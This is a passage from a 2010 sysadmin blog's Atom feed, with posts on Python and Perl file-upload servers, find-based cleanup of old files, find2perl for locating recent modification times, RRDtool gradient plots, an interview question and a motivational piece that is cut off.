        self.wfile.write('&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Upload&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;\
            &amp;lt;h1&amp;gt;Successfully uploaded&amp;lt;/h1&amp;gt;&amp;lt;br&amp;gt;From: %s&amp;lt;br&amp;gt;To: %s&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;' % \
            (upfile.filename, os.sep.join([os.getcwd(), filename])) )



if __name__ == '__main__':
    try:
        port = random.randint(50000,60000)
        url = "http://%s:%d/" % (platform.node(), port)
        server = BaseHTTPServer.HTTPServer( ('', port), GetHandler )
        print "Ask user to visit this URL:\n\t%s" % url
        server.serve_forever()
    except KeyboardInterrupt:
        pass
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-8674219936980247031?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/8674219936980247031/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=8674219936980247031' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/8674219936980247031'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/8674219936980247031'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/04/file-uploading-100-python.html' title='File Uploading, 100% Python'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-2971703444067554915</id><published>2010-03-25T21:15:00.008+08:00</published><updated>2010-03-27T00:08:47.896+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Perl'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='Apache'/><category scheme='http://www.blogger.com/atom/ns#' term='cgi'/><title type='text'>File Uploading, A Perl+Python Approach</title><content type='html'>I created a &lt;a href="http://chihungchan.blogspot.com/2009/08/extending-simple-http-server-in-python.html"&gt;download server&lt;/a&gt; some time ago and always wanted to come up with something similar for uploading. 
&lt;p&gt;
My &lt;a href="http://chihungchan.blogspot.com/2010/01/one-mans-download-is-another-mans.html"&gt;initial approach&lt;/a&gt; avoided the whole issue by running the download server from the opposite end, but this approach is not very flexible 'cos user requires Python to be installed in their desktop.
&lt;p&gt;
My second approach was to develop a CGI program (upload.cgi) based on the established &lt;a href="http://www.perl.org/"&gt;Perl&lt;/a&gt; &lt;a href="http://search.cpan.org/dist/CGI.pm/"&gt;CGI.pm&lt;/a&gt; module. The below CGI script is launched via a running &lt;a href="http://httpd.apache.org/"&gt;Apache web server&lt;/a&gt;. However, we have to depend on the existence of Apache web server.
&lt;pre&gt;
#! /usr/bin/perl

use CGI;
use CGI::Carp qw ( fatalsToBrowser );
use File::Basename;

if ( $ENV{"REQUEST_METHOD"} eq "GET" ) {
        print "Content-type: text/html\n\n";
        print "&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Upload&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;";
        printf("&amp;lt;form action=%s method=POST ENCTYPE=multipart/form-data&amp;gt;", $ENV{'SCRIPT_NAME'});
        print "&amp;lt;input type=file name=upfile&amp;gt; &amp;lt;input type=submit value=Upload&amp;gt;&amp;lt;/form&amp;gt;";
        print "&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;";
} else {
        my $safe_filename_characters = "a-zA-Z0-9_.-";
        my $upload_dir = "/export/software/upload";

        my $query = new CGI;
        my $fname = $query-&amp;gt;param("upfile");


        $fname =~ s/\\/\//g;
        my ( $name, $path, $extension ) = fileparse ( $fname, '\..*' );
        $filename = $name . $extension;
        $filename =~ tr/ /_/;
        $filename =~ s/[^$safe_filename_characters]//g;


        my $upload_filehandle = $query-&amp;gt;upload("upfile");

        open ( UPLOADFILE, "&amp;gt;$upload_dir/$filename" ) or die "$!";
        binmode UPLOADFILE;

        print "Content-type: text/html\n\n";
        print "&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Upload&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;";

        while ( &amp;lt;$upload_filehandle&amp;gt; )
        {
        print "...";
         print UPLOADFILE;
        }

        close UPLOADFILE;

        printf("Your file is in /export/software/upload/%s (%s)", $filename, $fname);
        print "&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;";
}
&lt;/pre&gt;
&lt;p&gt;
My third approach was to combine &lt;a href="http://www.perl.org/"&gt;Perl&lt;/a&gt; and &lt;a href="http://www.python.org/"&gt;Python&lt;/a&gt; in a single Python script. Python comes with a simple and workable CGIHTTPServer module that allows me to run a self-contained web server that can server CGI script. With the below script (uploadserver), it will dynamically create a random cgi-bin directory with the Perl upload.cgi script. An index.html is also dynamically created that can do auto-redirection to the cgi-bin/upload.cgi. With this script, I can launch the upload server anywhere and able to upload file via a web browser. 
&lt;pre&gt;
#! /usr/local/bin/python


import BaseHTTPServer
import CGIHTTPServer
import tempfile
import os
import random
import platform


#
# standalone CGI perl script for uploading.
# escaped all the backslashes
#
perlscript="""#! /usr/bin/perl


use CGI;
use CGI::Carp qw ( fatalsToBrowser );
use File::Basename;


if ( $ENV{"REQUEST_METHOD"} eq "GET" ) {
        print "Content-type: text/html\\n\\n";
        print "&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Upload&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;";
        printf("&amp;lt;form action=%s method=POST ENCTYPE=multipart/form-data&amp;gt;", $ENV{'SCRIPT_NAME'});
        print "&amp;lt;input type=file name=upfile&amp;gt; &amp;lt;input type=submit value=Upload&amp;gt;&amp;lt;/form&amp;gt;";
        print "&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;";
} else {
        my $safe_filename_characters = "a-zA-Z0-9_.-";
        my $upload_dir = ".";
        my $query = new CGI;
        my $fname = $query-&amp;gt;param("upfile");


        #
        # convert backslash to forward flash, remove un-safe characters in
filename
        #
        $fname =~ s/\\\\/\\//g;
        my ( $name, $path, $extension ) = fileparse ( $fname, '\\..*' );
        $filename = $name . $extension;
        $filename =~ tr/ /_/;
        $filename =~ s/[^$safe_filename_characters]//g;


        my $upload_filehandle = $query-&amp;gt;upload("upfile");
        open ( UPLOADFILE, "&amp;gt;$upload_dir/$filename" ) or die "$!";
        binmode UPLOADFILE;
        while ( &amp;lt;$upload_filehandle&amp;gt; )
        {
                print UPLOADFILE;
        }
        close UPLOADFILE;

        print "Content-type: text/html\\n\\n";
        print "&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Upload&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;";
        printf("Your file '%s' has been successfully uploaded", $filename,);
        print "&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;";
}
"""


if not os.path.isfile('index.html'):
        try:
                tempdir = tempfile.mkdtemp(dir='.')[2:]
                os.chmod(tempdir, 0755)
                uploadcgi = tempdir + '/upload.cgi'
                cgidir = '/' + uploadcgi

                # write index.html
                fp = open('index.html', 'w')
                refresh = '&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;meta http-equiv="REFRESH" content="0;url=/%s"&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;' % uploadcgi
                fp.write(refresh)
                fp.close()

                # create cgi script
                fp = open(uploadcgi, 'w')
                fp.write(perlscript)
                fp.close()
                os.chmod(uploadcgi, 0755)

                # change the internal settings
                CGIHTTPServer.CGIHTTPRequestHandler.cgi_directories = [cgidir]
                CGIHTTPServer.nobody = os.getuid()

                port = random.randint(50000,60000)
                url = "http://%s:%d/" % (platform.node(), port)
                httpd = BaseHTTPServer.HTTPServer(('',port), CGIHTTPServer.CGIHTTPRequestHandler)
                print "Ask user to visit this URL:\n\t%s" % url
                httpd.serve_forever()

        except:
                # clean up
                os.remove('index.html')
                os.remove(uploadcgi)
                os.rmdir(tempdir)

else:
                print 'Error. index.html exists'
&lt;/pre&gt;
&lt;p&gt;
&lt;pre&gt;
# ./uploadserver
Ask user to visit this URL:
        http://user-PC:52233/
&lt;/pre&gt;
&lt;p&gt;
When you point your web server to the able URL, it will auto redirect.&lt;br&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_QxCNUeDt_uQ/S6ttQ7MABnI/AAAAAAAAAjo/0nnohcl8x54/s1600/uploadserver.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 200px;" src="http://1.bp.blogspot.com/_QxCNUeDt_uQ/S6ttQ7MABnI/AAAAAAAAAjo/0nnohcl8x54/s320/uploadserver.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5452571911395477106" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-2971703444067554915?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/2971703444067554915/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=2971703444067554915' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2971703444067554915'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2971703444067554915'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/03/file-uploading-perlpython-approach.html' title='File Uploading, A Perl+Python Approach'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_QxCNUeDt_uQ/S6ttQ7MABnI/AAAAAAAAAjo/0nnohcl8x54/s72-c/uploadserver.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-2899885830984198995</id><published>2010-03-23T22:46:00.003+08:00</published><updated>2010-03-23T23:00:24.278+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><title type='text'>Older == Not Newer</title><content type='html'>Quite often we need to clean up old files in directory, but the criteria is often based on ctime/atime/mtime in &lt;code&gt;find&lt;/code&gt; with unit in days. In certain situation, this may not be fine-grain enough to locate files. In &lt;code&gt;find&lt;/code&gt;, you can specify the &lt;code&gt;-newer&lt;/code&gt; flag to locate files newer than the file reference. However, &lt;code&gt;find&lt;/code&gt; does not have &lt;code&gt;-older&lt;/code&gt;. What you can do is to specify 'not newer' to represent 'older':&lt;br&gt;
&lt;code&gt;\( ! -newer reference \)&lt;/code&gt;
&lt;p&gt;
Here I created a lot of files (4320) with file name based on time stamp and tried to use this trick to delete files older than the reference (log-200912301450). See my &lt;a href="http://chihungchan.blogspot.com/2010/02/which-files-grow-fastest.html"&gt;previous post&lt;/a&gt; in how I use the &lt;code&gt;-newer&lt;/code&gt; flag too.
&lt;p&gt;
&lt;pre&gt;


# yr=2009

# for mth in `seq -w 7 12`
do
    for day in `seq -w 1 30`
    do
        for hr in `seq -w 2 6 24`
        do
                for min in `seq -w 0 10 50`
                do
                        touch -t $yr$mth$day$hr$min log-$yr$mth$day$hr$min
                done
        done
    done
done

# ls | wc -l
4320

# ls -lrt | head
total 0
-rw-r--r-- 1 root root 0 2009-07-01 02:00 log-200907010200
-rw-r--r-- 1 root root 0 2009-07-01 02:10 log-200907010210
-rw-r--r-- 1 root root 0 2009-07-01 02:20 log-200907010220
-rw-r--r-- 1 root root 0 2009-07-01 02:30 log-200907010230
-rw-r--r-- 1 root root 0 2009-07-01 02:40 log-200907010240
-rw-r--r-- 1 root root 0 2009-07-01 02:50 log-200907010250
-rw-r--r-- 1 root root 0 2009-07-01 08:00 log-200907010800
-rw-r--r-- 1 root root 0 2009-07-01 08:10 log-200907010810
-rw-r--r-- 1 root root 0 2009-07-01 08:20 log-200907010820

# ls -lrt | tail
-rw-r--r-- 1 root root 0 2009-12-30 14:20 log-200912301420
-rw-r--r-- 1 root root 0 2009-12-30 14:30 log-200912301430
-rw-r--r-- 1 root root 0 2009-12-30 14:40 log-200912301440
-rw-r--r-- 1 root root 0 2009-12-30 14:50 log-200912301450
-rw-r--r-- 1 root root 0 2009-12-30 20:00 log-200912302000
-rw-r--r-- 1 root root 0 2009-12-30 20:10 log-200912302010
-rw-r--r-- 1 root root 0 2009-12-30 20:20 log-200912302020
-rw-r--r-- 1 root root 0 2009-12-30 20:30 log-200912302030
-rw-r--r-- 1 root root 0 2009-12-30 20:40 log-200912302040
-rw-r--r-- 1 root root 0 2009-12-30 20:50 log-200912302050

# find . \( ! -newer log-200912301450 \) -type f -exec rm -f {} \;

# ls -lrt
total 0
-rw-r--r-- 1 root root 0 2009-12-30 20:00 log-200912302000
-rw-r--r-- 1 root root 0 2009-12-30 20:10 log-200912302010
-rw-r--r-- 1 root root 0 2009-12-30 20:20 log-200912302020
-rw-r--r-- 1 root root 0 2009-12-30 20:30 log-200912302030
-rw-r--r-- 1 root root 0 2009-12-30 20:40 log-200912302040
-rw-r--r-- 1 root root 0 2009-12-30 20:50 log-200912302050
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-2899885830984198995?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/2899885830984198995/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=2899885830984198995' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2899885830984198995'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2899885830984198995'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/03/older-not-newer.html' title='Older == Not Newer'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-6730969983658713086</id><published>2010-02-27T15:42:00.004+08:00</published><updated>2010-02-27T16:02:18.807+08:00</updated><title type='text'>An Interview Question</title><content type='html'>I came across this &lt;a href="http://www.markround.com/archives/58-Centreon-makes-a-great-upgrade-from-Nagios.html"&gt;interview question&lt;/a&gt;:
&lt;blockquote&gt;
Imagine you are going off to be a sysadmin on a desert island, with no internet access, and further imagine that the previous sysadmin was a total fascist with a minimalist install policy. We're talking a bare-bones "classic" Solaris installation, or a minimal Debian system here. You've got SSH installed, but not much else. Before you hop on the boat, however, you are given a couple of hours high-speed internet access and a USB stick. You can take up to 5 tools with you to this desert island: What do you pick ?
&lt;/blockquote&gt;
&lt;p&gt;
I have been using this question for my recent interviews and sad to say that none of the interviewees managed to impress me.
&lt;p&gt;
If I were the interviewee, I would download the following because I have been using these utilities to build tools for my customers. Thanks to my current and ex-employers 'cos they always have no budget to buy commercial tools.
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.activestate.com/activeperl/"&gt;ActivePerl&lt;/a&gt;, &lt;a href="http://www.activestate.com/activepython/"&gt;ActivePython&lt;/a&gt; and &lt;a href="http://www.activestate.com/activetcl/"&gt;ActiveTcl&lt;/a&gt; from &lt;a href="http://www.activestate.com/"&gt;ActiveState&lt;/a&gt;
&lt;li&gt;&lt;a href="http://oss.oetiker.ch/rrdtool/"&gt;RRDtool&lt;/a&gt;
&lt;li&gt;&lt;a href="http://gnuplot.info/"&gt;Gnuplot&lt;/a&gt;
&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-6730969983658713086?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/6730969983658713086/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=6730969983658713086' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6730969983658713086'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6730969983658713086'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/02/interview-question.html' title='An Interview Question'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-2906715851445485120</id><published>2010-02-25T22:58:00.005+08:00</published><updated>2010-02-26T08:31:32.273+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Perl'/><title type='text'>Finding the Latest Modified Time In A Mount Point</title><content type='html'>User wanted to decommission a particular mount point but needed to ensure no files/directories was updated recently. So the question is how can we find out exactly the latest modified time in this mount point.
&lt;p&gt;
My initial approach was to do a couple of &lt;code&gt;find /mount/point -mtime -... -ls&lt;/code&gt; to roughly locate the last modified time. I used the divide and conquer approach, eg, starts with 100 days, if no file return change to 200 days, else 50 days, ... This approach can only give me a rough estimate. If I can list the timestamp in the &lt;a href="http://en.wikipedia.org/wiki/ISO_8601"&gt;ISO 8601&lt;/a&gt; format YYYYMMDDTHHMMSS, I can just simply sort it and the latest modified time will be the last record. I know &lt;code&gt;find&lt;/code&gt; is not able to do that, but &lt;code&gt;find2perl&lt;/code&gt; can convert a find command to &lt;a href="http://www.perl.org/"&gt;Perl&lt;/a&gt; code. With &lt;a href="http://www.perl.org/"&gt;Perl&lt;/a&gt;, I can modify it to output to the format that I want.
&lt;p&gt;
&lt;pre&gt;
$ /usr/perl5/5.8.4/bin/find2perl /mount/point -ls
#! /usr/perl5/5.8.4/bin/perl -w
    eval 'exec /usr/perl5/5.8.4/bin/perl -S $0 ${1+"$@"}'
        if 0; #$running_under_some_shell

use strict;
use File::Find ();

# Set the variable $File::Find::dont_use_nlink if you're using AFS,
# since AFS cheats.

# for the convenience of &amp;wanted calls, including -eval statements:
use vars qw/*name *dir *prune/;
*name   = *File::Find::name;
*dir    = *File::Find::dir;
*prune  = *File::Find::prune;

sub wanted;
sub ls ();


my @rwx = qw(--- --x -w- -wx r-- r-x rw- rwx);
my @moname = qw(Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec);

my (%uid, %user);
while (my ($name, $pw, $uid) = getpwent) {
    $user{$uid} = $name unless exists $user{$uid};
}

my (%gid, %group);
while (my ($name, $pw, $gid) = getgrent) {
    $group{$gid} = $name unless exists $group{$gid};
}


# Traverse desired filesystems
File::Find::find({wanted =&amp;gt; \&amp;wanted}, '/mount/point');
exit;


sub wanted {
    my ($dev,$ino,$mode,$nlink,$uid,$gid);

    (($dev,$ino,$mode,$nlink,$uid,$gid) = lstat($_)) &amp;&amp;
    ls;
}


sub sizemm {
    my $rdev = shift;
    sprintf("%3d, %3d", ($rdev &amp;gt;&amp;gt; 8) &amp; 0xff, $rdev &amp; 0xff);
}

sub ls () {
    my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,
        $atime,$mtime,$ctime,$blksize,$blocks) = lstat(_);
    my $pname = $name;

    $blocks
        or $blocks = int(($size + 1023) / 1024);

    my $perms = $rwx[$mode &amp; 7];
    $mode &amp;gt;&amp;gt;= 3;
    $perms = $rwx[$mode &amp; 7] . $perms;
    $mode &amp;gt;&amp;gt;= 3;
    $perms = $rwx[$mode &amp; 7] . $perms;
    substr($perms, 2, 1) =~ tr/-x/Ss/ if -u _;
    substr($perms, 5, 1) =~ tr/-x/Ss/ if -g _;
    substr($perms, 8, 1) =~ tr/-x/Tt/ if -k _;
    if    (-f _) { $perms = '-' . $perms; }
    elsif (-d _) { $perms = 'd' . $perms; }
    elsif (-l _) { $perms = 'l' . $perms; $pname .= ' -&gt;&amp;gt;' . readlink($_); }
    elsif (-c _) { $perms = 'c' . $perms; $size = sizemm($rdev); }
    elsif (-b _) { $perms = 'b' . $perms; $size = sizemm($rdev); }
    elsif (-p _) { $perms = 'p' . $perms; }
    elsif (-S _) { $perms = 's' . $perms; }
    else         { $perms = '?' . $perms; }

    my $user = $user{$uid} || $uid;
    my $group = $group{$gid} || $gid;

    my ($sec,$min,$hour,$mday,$mon,$timeyear) = localtime($mtime);
    if (-M _ &amp;gt; 365.25 / 2) {
        $timeyear += 1900;
    } else {
        $timeyear = sprintf("%02d:%02d", $hour, $min);
    }

    printf "%5lu %4ld %-10s %3d %-8s %-8s %8s %s %2d %5s %s\n",
            $ino,
                 $blocks,
                      $perms,
                            $nlink,
                                $user,
                                     $group,
                                          $size,
                                              $moname[$mon],
                                                 $mday,
                                                     $timeyear,
                                                         $pname;
    1;
}
&lt;/pre&gt;
&lt;p&gt;
Just change the original printf to this one:
&lt;pre&gt;
printf("%04d%02d%02dT%02d%02d%02d %d %s\n", $timeyear, $mon+1, $mday, $hour, $min, $sec, $mtime, $pname);
&lt;/pre&gt;
&lt;p&gt;
There is a lot of stuff not needed from the find2perl output. We can trim it down to just suit our need, which is to locate the latest modified time. My friend found this on the Internet that do exactly this task. It is very efficient because the script will keep track of the latest time stamp.
&lt;pre&gt;
#!/bin/perl
use File::Find;
@ARGV = ('.') unless @ARGV;
my ($age, $name);
sub youngest {
    return if defined $age &amp;&amp; $age &amp;gt; (stat($_))[9];
    $age = (stat(_))[9];
    $name = $File::Find::name;
}
find(\&amp;youngest, @ARGV);
print "$name " . scalar(localtime($age)) . "\n";
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-2906715851445485120?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/2906715851445485120/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=2906715851445485120' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2906715851445485120'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2906715851445485120'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/02/finding-latest-modified-time.html' title='Finding the Latest Modified Time In A Mount Point'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-6453524064297764997</id><published>2010-02-25T22:44:00.005+08:00</published><updated>2010-02-25T22:58:18.844+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='RRDtool'/><title type='text'>CPU/Load Utilisation In A Gradient Plot</title><content type='html'>By taking advantage of &lt;a href="http://oss.oetiker.ch/rrdtool/"&gt;RRDtool&lt;/a&gt;'s &lt;a href="http://oss.oetiker.ch/rrdtool/tut/cdeftutorial.en.html"&gt;CDEF&lt;/a&gt;, I am able to superimpose the CPU Load utilisation over the original CPU utilisation graph. The gradient for Load/#CPUs is from 0 to &gt;2.0, with 0 as green (system is completely idle) to 1 as yellow (100% utilised) to &gt;2.0 as red (system is heavily loaded). The gradient interval is at a step of 0.1 and the utilisation graph shows up pretty cool.
&lt;br&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_QxCNUeDt_uQ/S4aP-EzizFI/AAAAAAAAAjI/Jlg3e1Juj1w/s1600-h/pic19169.gif"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 74px;" src="http://3.bp.blogspot.com/_QxCNUeDt_uQ/S4aP-EzizFI/AAAAAAAAAjI/Jlg3e1Juj1w/s320/pic19169.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5442195496328416338" /&gt;&lt;/a&gt;
&lt;p&gt;
It is pretty hard to work with CDEF 'cos you have to program it in &lt;a href="http://en.wikipedia.org/wiki/Reverse_Polish_notation"&gt;reverse polish notation&lt;/a&gt;. Once you get one gradient correct, you just have to repeat it for the rest. Here is sample CDEFs showing a few of the gradients:
&lt;pre&gt;
CDEF:load=cpu_load,UN,0,cpu_load,IF,cpu_total,UN,1,cpu_total,IF,/,1,GT,2,0,IF  \
CDEF:load10a=cpu_load,UN,0,cpu_load,IF,cpu_total,UN,1,cpu_total,IF,/,1.00,GT,cpu,0,IF \
CDEF:load10b=cpu_load,UN,0,cpu_load,IF,cpu_total,UN,1,cpu_total,IF,/,1.10,LT,cpu,0,IF \
CDEF:load10=load10a,0,EQ,0,load10a,0,EQ,0,load10b,IF,IF \
CDEF:load20a=cpu_load,UN,0,cpu_load,IF,cpu_total,UN,1,cpu_total,IF,/,1.10,GT,cpu,0,IF \
CDEF:load20b=cpu_load,UN,0,cpu_load,IF,cpu_total,UN,1,cpu_total,IF,/,1.20,LT,cpu,0,IF \
CDEF:load20=load20a,0,EQ,0,load20a,0,EQ,0,load20b,IF,IF \
CDEF:load30a=cpu_load,UN,0,cpu_load,IF,cpu_total,UN,1,cpu_total,IF,/,1.20,GT,cpu,0,IF \
CDEF:load30b=cpu_load,UN,0,cpu_load,IF,cpu_total,UN,1,cpu_total,IF,/,1.30,LT,cpu,0,IF  \
CDEF:load30=load30a,0,EQ,0,load30a,0,EQ,0,load30b,IF,IF \
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-6453524064297764997?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/6453524064297764997/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=6453524064297764997' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6453524064297764997'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6453524064297764997'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/02/cpuload-utilisation-in-gradient-plot.html' title='CPU/Load Utilisation In A Gradient Plot'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_QxCNUeDt_uQ/S4aP-EzizFI/AAAAAAAAAjI/Jlg3e1Juj1w/s72-c/pic19169.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-1700054154485592626</id><published>2010-02-20T11:57:00.002+08:00</published><updated>2010-02-20T11:59:41.326+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Reflection'/><title type='text'>Reflections - The Value of Persistence</title><content type='html'>Got this from my "the other email"
&lt;p&gt;
&lt;blockquote&gt;
Colonel Sanders went to more than 1,000 places trying to sell his chicken recipe before he found an interested buyer. The fact that we can buy Kentucky Fried Chicken today attests to his perseverance. Thomas Edison tried almost 10,000 times before he succeeded in creating the electric light. If he had given up, you would be reading this in the dark!
&lt;p&gt;
The original business plan for what was to become Federal Express was given a failing grade on Fred Smith's college exam. And, in the early days, their employees would cash their pay checks at retail stores, rather than banks. This meant it would take longer for the money to clear, thereby giving FedEx more time to cover their payroll.
&lt;p&gt;
Sylvester Stallone had been turned down a thousand times by agents and was down to his last $600 before he found a company that would produce Rocky. The rest is history! To truly succeed requires a total commitment to your goal. Too many people make the mistake of quitting just short of success. Keep going no matter what. If you really believe in what you are doing, give it all you¹ve got and don¹t give up.
&lt;p&gt;
You will succeed. There is no such thing as failure. Every action produces an outcome. It may not always be the outcome you are looking for, but it is an outcome nonetheless. If you monitor the results of your actions and keep correcting what is not working, you will eventually produce the outcome you are looking for.
&lt;p&gt;
Be Persistent - Ray Kroc, the late founder of McDonalds, put it best when he said: "Nothing in this world can take the place of persistence. Talent will not; nothing is more common than unsuccessful men with great talent. Genius will not; un-rewarded genius is almost a proverb. Education will not; the world is full of educated derelicts. Persistence, determination and love are omnipotent." 
